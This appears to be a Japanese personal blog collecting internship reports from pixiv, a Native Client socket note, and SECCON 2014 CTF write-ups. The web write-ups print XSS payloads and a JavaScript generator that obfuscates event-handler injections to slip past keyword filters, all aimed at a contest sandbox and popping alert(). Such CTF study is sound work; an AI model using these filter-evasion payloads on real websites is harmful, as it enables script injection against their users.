pixiv の冬インターンに参加してきました

pixiv が冬インターンをやるみたいでしたが、夏インターンに参加した僕には縁のない話だろうと思っていました。そうしたらなんと

とのことで応募したら受かりまして、12/20, 21にインターンしてきました。

何をするインターンなのか

ピクシブ開発メンバーが日々立ち向かっているbugリストの課題を読み解き、本物のソースコードに修正を加えて解決していただきます。
ピクシブを支えるエンジニアたちと全く同じ目線で、リアルな課題を解決します。

from エンジニア向け pixiv開発のbugリストからの脱出!エンジニア職インターン - ピクシブ株式会社 採用サイト

という脱出系インターンです。

環境構築

集合した後軽く書類関連の説明を受け、さっそく環境構築に移りました。
この辺のスピーディさのおかげでバグフィックス時間が増えて、非常に良かったと思います。
今回の環境構築は夏の時と比べて圧倒的に楽ちんで、スムーズに構築できました。

開発体制

GitHub に pixiv のソースコードがプライベートリポジトリとして用意されており、各自 fork したうえで開発サーバ上に clone、そのソースコードに対して修正を加えていきました。
Issues にたくさんのバグが登録されており、直したいバグを直感で選びます。
修正が終わったら本流に Pull Request を送り、メンターの方に LGTM をもらえると PR に「脱出!」タグがつき*1、脱出することができます。

脱出!

脱出すると、場合によってはそのコードを本番環境に適用してもらえます。
自分たちが書いたコードが千ウン百万人のユーザーの方に使ってもらえると思うと俄然脱出欲が湧いてきます。
実際に僕が書いたものもいくつか適用していただけるようで、非常に楽しみです。

食事

1日目の昼はピザ、2日目の昼はKFCでした。

Web 系って感じでおいしいかったです。ありがとうございます。

予想外だったところ

応募するときはメンターの方とペアプロみたいな感じでバグフィックスするのかなぁと思っていましたが、実際は個人戦でした*2
もちろんメンターの方は見てるだけではなく、聞けば何でも教えてくれますし、「忙しいから話しかけるな」的な雰囲気も全くなく話しかけやすかったです。

旧社屋ツアー

今の社屋に脱出する前に使っていた旧社屋を見せてもらいました。
大量のベニヤ板サーバがありました(僕らが今回使ったのはベニヤ板サーバの中でもスペシャルなやつらしいです)。空調の設定は24度でした。
ASCII の記事の画像よりパワーアップしてる印象でした。

絵馬

コピックのなんか筆っぽいほうに翻弄された夏

f:id:nash716:20140913081617j:plain

f:id:nash716:20141221183014j:plain

集合

f:id:nash716:20141221183241j:plain

多少コピックのコツをつかめた気がします。

総括

期間が短いこともあり何もかも爆速で、本来の目的であるバグフィックスの時間を長く取れて非常に楽しかったです。
もっとメンターの方を頼ればよかったなぁと今になって思います(割と自分で考え込んでしまうことが多かったけどメンターの方に聞くとたいていすぐ解決する)。
こんなにいいインターンを僕なんかがおかわりしてるのはもったいないので、ぜひぜひ皆さん pixiv のインターンに応募してみることをオススメします!!
Let's 脱出!!!!!

*1:当初は「LGTM」タグでしたが途中から「脱出!」になりました

*2:ペアプロが良かった!とかそういうわけではなく、ただ単に想像と違っただけです

#SECCON 2014 Online Quals (English) - Writeup (jspuzzle)

チーム 0x0 として参加しました。
Web要員として Web100, Web200, Web500 を解きましたので jspuzzle (Web100) の Writeup をば。
(Web300 はメンバーに投げて、Web400 は僕が寝落ちしてる間にメンバーが解いてくれました。Web400、難しい問題だったらしく、頭が上がりません。)
一応最速正解だったようで、Bonus Point (1pt) 貰いました。今回はこのポイントで順位が変動することはありませんでしたが…。

Web500 の Writeup: #SECCON 2014 Online Quals (English) - Writeup (XSS Bonsai) - 雑記
Web200 の Writeup: どうしよう

結論

てめぇの長ったらしい説明なんていらないから答えを見せろ用

f:id:nash716:20141207175318p:plain

解説

こんなアプリが入った zip が配布されます。

f:id:nash716:20141207175353p:plain

歴史のテストのような語句の選択当てはめ問題ですね。alert(1) を出力できればいいようです。


とりあえず目を付けるところとしては、

this[ r[ "hoge" ]( pattern ) ][ "fuga" ]( 1 );

でしょうか。ここで alert(1) を呼んでいるのは明らかなので、

this[ r[ "hoge" ]( pattern ) ][ "fuga" ]

こいつは alert() なはずです。ということで、fuga には alert が当てはまることが分かります。
また同様に this[ r[ "hoge" ]( pattern ) ]alert() があるオブジェクト、つまり window が入ることが分かります。

ということで this の中に何かを代入している箇所を探すと、

 this[ "unko" ] = (new Function( "piyo" + "chun" + "nya~" ))();

があります。つまり、

"unko" == r[ "hoge" ]( pattern )

(new Function("piyo" + "chun" + "nya~"))() == window

を満たすように語句を当てはめればよいことが分かります。


まず Function の中身ですが、これは

return window;

のようなコードになればよいはずです。
return は候補にあります。window は候補にありませんが、この Function の実行時には thiswindow になるので this を使います。
returnwindow の間のスペースは /*^_^*/ で代用します。ということで Function 完成です。

new Function( "return" + "/*^_^*/" + "this" )

次は unko です。

"unko" == r[ "hoge" ]( pattern )

を満たすように語句を当てはめます。

var pattern = "wan";
var r = new RegExp( pattern );
this[ r[ "hoge" ]( pattern ) ] ...

上のコードからわかるように、hoge正規表現関連のメソッドの名前です。
ということで exec が当てはまります。整理すると

"unko" == /wan/.exec( "wan" )

です。wan の候補はたくさんありますが、とりあえず正規表現のパターンっぽい ^[w]$ を選びます。
すると /^[w]$/.exec( "^[w]$" )null なので、unkonull であることが分かります。


ここまで来たら後は少しです。

({"weiwei" :function(){
    // ここはできた
}})[ "uhyoooo"[ "kokekokko~" ]() ]();

なので、"weiwei" == "uhyoooo"[ "kokekokko~" ]() となるように当てはめればOKです。
残った選択肢を見れば閃くと思いますが、weiweifunctionuhyooooFunctionkokekokko~toLowerCase です。


"use strict";

({"function" :function(){
    this[ "null" ] = (new Function( "return" + "/*^_^*/" + "this" ))();
    var pattern = "^[w]$";
    var r = new RegExp( pattern );
    this[ r[ "exec" ]( pattern ) ][ "alert" ]( 1 );
}})[ "Function"[ "toLowerCase" ]() ]();

お疲れ様でした。

f:id:nash716:20141207175318p:plain

補足

"null" != null ですが、

var obj = { null: 1 };
console.log( obj[ "null" ] == obj[ null ] ); // true

ということを言いたかっただけなのでご勘弁ください。

#SECCON 2014 Online Quals (English) - Writeup (XSS Bonsai)

チーム 0x0 として参加しました。
Web要員として Web100, Web200, Web500 を解きましたので XSS Bonsai (Web500) の Writeup をば。
(Web300 はメンバーに投げて、Web400 は僕が寝落ちしてる間にメンバーが解いてくれました。Web400、難しい問題だったらしく、頭が上がりません。)

Web100 の Writeup: #SECCON 2014 Online Quals (English) - Writeup (jspuzzle) - 雑記
Web200 の Writeup: どうしよう

本編

毎度おなじみ箱庭シリーズ。(そろそろほかの問題もやりたいなぁ…)
毎回めっちゃ時間取られてますが、今回も時間を持っていかれました。高得点問題だし当たり前か。
ちなみに前回の Writeup はこちら。

前回と同じように IE のバージョンを変えてやろうかなと思ったのですが、レジストリをいじっても全く変わらず。
これは素直に解けということだろうなと解釈して素直に解きました。

先人の知恵を使わせてもらいつつ、以下のコードで突破しました。

XSS Bonsai

Special Thanks to 先人

pixiv のインターンに参加してきました

pixiv SUMMER BOOT CAMP -2014- にエンジニアとして参加してきました。
2週間という短い期間でしたが、非常に楽しく過ごさせていただきました。
あんまりだらだら書くのも性に合わないし、そもそも日が経ってしまって今更感が漂ってしまいそうなので今のうちに投下しておきます。

やったこと1

最初の2日間は総合職・デザイナー職とごちゃまぜでチームを組み、グロースに関する課題をやりました。
総合職の人でも「JavaScript 書けます」とか、エンジニア・デザイナー顔負けのことをやってる方が多く、「これが"総合"職か…」と思い知らされました。

やったこと2

そのあとはエンジニア個別で課題に取り組みました。
pixiv 本体のソースコードを触って機能拡張をするもよし、新規サービスを立ち上げるもよし、なんでもよし、という感じで、のびのびと課題に取り組むことができました。
僕は pixiv に Twitter 連携機能を追加したり、ポップボード・メッセージの通知を行う Chrome 拡張機能を作りました。
PHP と JS をゴリゴリかけて楽しかったです。

作業環境

注)僕が撮った写真ではありませんしインターン期間中の写真でもありません

ちゃんとインターン生にはデスクが割り当てられていたのですが、なぜか上の写真の場所にわらわらと集まり作業することが多かったです。
あと、フリードリンク&フリーみそしるで、ここにいれば塩分と糖分には困らないなと思いました。

ボキャブラリー

エンジニアというものは往々にしてボキャ貧に陥るもので、pixiv も例外ではありませんでした。
はてなインターンでは「やばい」「わいわい」「いい感じ」「最高じゃん」が主なキーワードだったようですが、pixiv は「つらい」「厳しい」「いい話」「なるほど」でした。

最終日

成果発表では「よい」をいただくことができて嬉しかったです。
成果発表会の後、pixiv 社内勉強会に飛び入って CSP の布教をしてきました。
そのあと、pixiv 7周年記念パーティーで「CSP!CSP!」とエンジニアの皆さんと叫んだことは忘れません。

知見集

2014/09/16編集:公式エンジニアブログにより詳しいまとめが出ました!ありがとうございます!
pixiv SUMMER BOOTCAMP 2014のエンジニア講義スライドを一挙公開します!! - pixiv engineering blog

エンジニア・デザイナーのインターン向けに社員の方にしていただいた講義スライドへのリンクです(公開しているものだけ(全講義の半分くらいです。全部面白かったです。全部見たい方は pixiv インターンへ応募!))。
1. ピクシブ新広告サーバー構築物語 // Speaker Deck
2. ピクシブのAndroidアプリ事情 // Speaker Deck
3. pixivアプリの設計思想  なぜアプリを作るのか 良いアプリとは何か // Speaker Deck
4. pixiv-summer-intern2014 // Speaker Deck
5. Growing Service // Speaker Deck
6. pixivを支える技術 2014 // Speaker Deck

最後に

pixiv の皆さんありがとうございました!
この記事を見た方、めっちゃ楽しいのでぜひぜひ pixiv インターンに応募しましょう!
pixiv の p は小文字です!!!!!!!!

絵馬

f:id:nash716:20140913081617j:plain

絵馬を書きました。コピック使うの難しい!特になんか筆っぽいやつ!

Native Client (NaCl) の socket API でハマった

ということで socket のサンプルが動かなかった。
エラーコードは -7 で、pp_errors.h を見ると

/** This value indicates failure due to insufficient privileges. */
PP_ERROR_NOACCESS = -7,

とのことだったので、何か設定が足りないみたいだった。
あらかじめ chrome://flags で enable-nacl, allow-nacl-socket-api にチェックを入れておいたのでそんなことはないだろうと思ってたが、実はこれがまずかったらしい。
allow-nacl-socket-api を外して起動オプションで --allow-nacl-socket-api=localhost を指定したところ動いた。

ちなみに Chrome のバージョンはこの記事を書いている時点(2014/08/27)での Canary Build です。

参考文献:ドンピシャな StackOverflow javascript - Portable native client Permission denied when resolving host - Stack Overflow

SECCON 2014 オンライン予選「箱庭XSSリターンズ」Writeup

SECCON 2014 オンライン予選にチーム 0x0 として参加しました。以下 Web300 の箱庭 XSS リターンズの Writeup です。
試行錯誤した時間のほうが長かったので、そちらの手順も載せておきます。

問題

次のようなアプリが配布されます。

f:id:nash716:20140719212132p:plain

テキストボックスに入力して submit すると、input[type=text] に入力した値が入ったものが出力されます。
(ほぼ)何もエスケープされずに出力される、典型的な XSS パターンです。

解き方

ダメだった方法1

まずは定石通り、

"><script>alert('XSS')</script>

と入力しました。普通に alert が表示され、Stage 2 に進むことができました。
Stage 2 では、入力された値から script, alert, XSS が strip されると書いてあったので、

"/onmouseover="window['aler'+'t']('XS'+'S')">

と入力し、こちらも無事成功して Stage 3 へ進めました。
Stage 3 では、入力された値から script, alert, XSS, window, aler, t, XS, S が strip されるそうです。

お気づきでしょうか、XSS に成功しても input_value.match(/[0-9a-zA-Z]+/) が次のステージから strip されるようです。
プログレスバーを見るにステージは 20 以上ありそうだったので、このまま頑張る方式では最終的には使える文字がなくなってしまいそうです。
ということで、別の手段を探しました。

ダメだった方法2

試行錯誤してるうちに Unicode エスケープシーケンスが使えることを思い出したので、

"/onmousemove="window['\u0061lert']('\u0058SS')

としました。こうすると次回から strip されるのは onmouseover, window, u0061lert, u0058SS となり、だいぶ余裕ができます。
しばらくエスケープシーケンスに置き換える場所を変えたりしてゴリ押していましたが、こちらも結局 Stage 6 あたりで苦しくなりやめました。

行けた方法

次に、(0x0).constructor.construtor で Function が取れることを思い出したので、こちらをごにょごにょする方法を考えました。

また試行錯誤していると、@superbacker さんから、次のコードが動かないとメッセージが飛んできました。

"/onkeydown="(99995)['\u0063onstructor']['\u0063onstructor']('BBBBBBBBBBBBBBBBBBBa'[19]+'BBBBBBBBBBBBBBBBBBBl'[19]+'BBBBBBBBBBBBBBBBBBBe'[19]+'BBBBBBBBBBBBBBBBBBBr'[19]+'BBBBBBBBBBBBBBBBBBBt'[19]+'BBBBBBBBBBBBBBBBBBB('[19]+'BBBBBBBBBBBBBBBBBBB\''[19]+'BBBBBBBBBBBBBBBBBBBX'[19]+'BBBBBBBBBBBBBBBBBBBS'[19]+'BBBBBBBBBBBBBBBBBBBS'[19]+'BBBBBBBBBBBBBBBBBBB\''[19]+'BBBBBBBBBBBBBBBBBBB)'[19])()

確かに箱庭の WebControl ではなく IE で実行すると動きます。

f:id:nash716:20140719212236p:plain

これを動かすことができれば、次回から strip されるのは BBBBBBBBBBBBBBBBBBBa とか 19 とか 99995 とかで、どうでもいい上にいくらでも代わりが効くものばかりで非常に助かります。
そういえば JavaScript

var str = 'AAA';
console.log(str[0]); // 'A'

ってできる(ちゃんとした名前知らない)のは最近だった(気がする)ので、たぶんこのあたりが悪さしてるんだろうと予想しました。
そういえば、Windows アプリに張り付けられる WebControl は IE7 互換で、レジストリいじるとそのバージョンを変えられた記憶があったので調べたところ、ドンピシャでした

IE11 互換の動作をしてもらうために、レジストリに次のエントリを追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION

hakoniwaXSSreturns.exe: (DWORD)0x11001

f:id:nash716:20140719212211p:plain

そして、入力するコードをいちいち人力で生成するのはめんどうくさいので、コードを書きました。

var repeat = 40;
var char = 64;
var num = 10000;

function generate(handlerName) {
    char++; repeat--; num--;

    var ret = '"/' + handlerName + '=\'(' + num + ')';
    var snip1 = 'constructor';
    var constructor = '';

    for (var i = 0; i < snip1.length; i++) {
        var a = '"';

        for (var j = 0; j < repeat; j++) {
            a += String.fromCharCode(char);
        }

        a += snip1[i];
        a += '"[' + repeat + ']';

        constructor += a + '+';
    }

    constructor = constructor.substring(0, constructor.length - 1);

    ret += '[' + constructor + ']';
    ret += '[' + constructor + '](';

    var snip2 = 'alert("XSS")';

    for (var i = 0; i < snip2.length; i++) {
        var a = '"';

        for (var j = 0; j < repeat; j++) {
            a += String.fromCharCode(char);
        }

        if (snip2[i] == '"') a += '\\';
        a += snip2[i];
        a += '"[' + repeat + ']';

        ret += a + '+';
    }

    ret = ret.substring(0, ret.length - 1);
    ret += ')()\'';

    return ret;
}

console.log(generate('onclick'));
console.log(generate('ondblclick'));
console.log(generate('onkeydown'));
console.log(generate('onkeypress'));
console.log(generate('onmousedown'));
console.log(generate('onmouseup'));
console.log(generate('onmouseover'));
console.log(generate('onmouseout'));
console.log(generate('onmousemove'));
console.log(generate('onfocus'));
console.log(generate('onblur'));
console.log(generate('onchange'));
console.log(generate('ondragstart'));
console.log(generate('onselectstart'));
console.log(generate('ondrop'));
console.log(generate('oncontextmenu'));
console.log(generate('ondragend'));
console.log(generate('onpaste'));
console.log(generate('oncopy'));
console.log(generate('onbeforepaste'));
console.log(generate('onbeforecopy'));

出力されたものをひたすらコピペして、イベントハンドラに対応した操作をすればどんどん解けます。
ちなみに最後(Stage 20)だけ \& が追加で strip されたので、今まで温存していた

"><script>alert('XSS')</script>

を華麗に打ち込みおしまいです。お疲れ様でした。

f:id:nash716:20140719212154p:plain

おまけ

f:id:nash716:20140719212449p:plain

SECCON 2014 オンライン予選「練習問題」 Writeup

0x0 としてオンライン予選に参加しました。
以下に練習問題の Writeup を記します。

f:id:nash716:20140719210619p:plain

1.「練習問題」をクリックします。

f:id:nash716:20140719210739p:plain

2.「exercises.txt」をクリックします。

f:id:nash716:20140719211040p:plain

3.「FLAG{seccon2014}」と表示されます。

答えは「seccon2014」です!お疲れ様でした!
私はこうして解答1番乗りすることができました。
ほかに解き方があったら教えてください。

元ネタ:SECCON CTF オンライン予選 Write-up | やぎはしゅブログ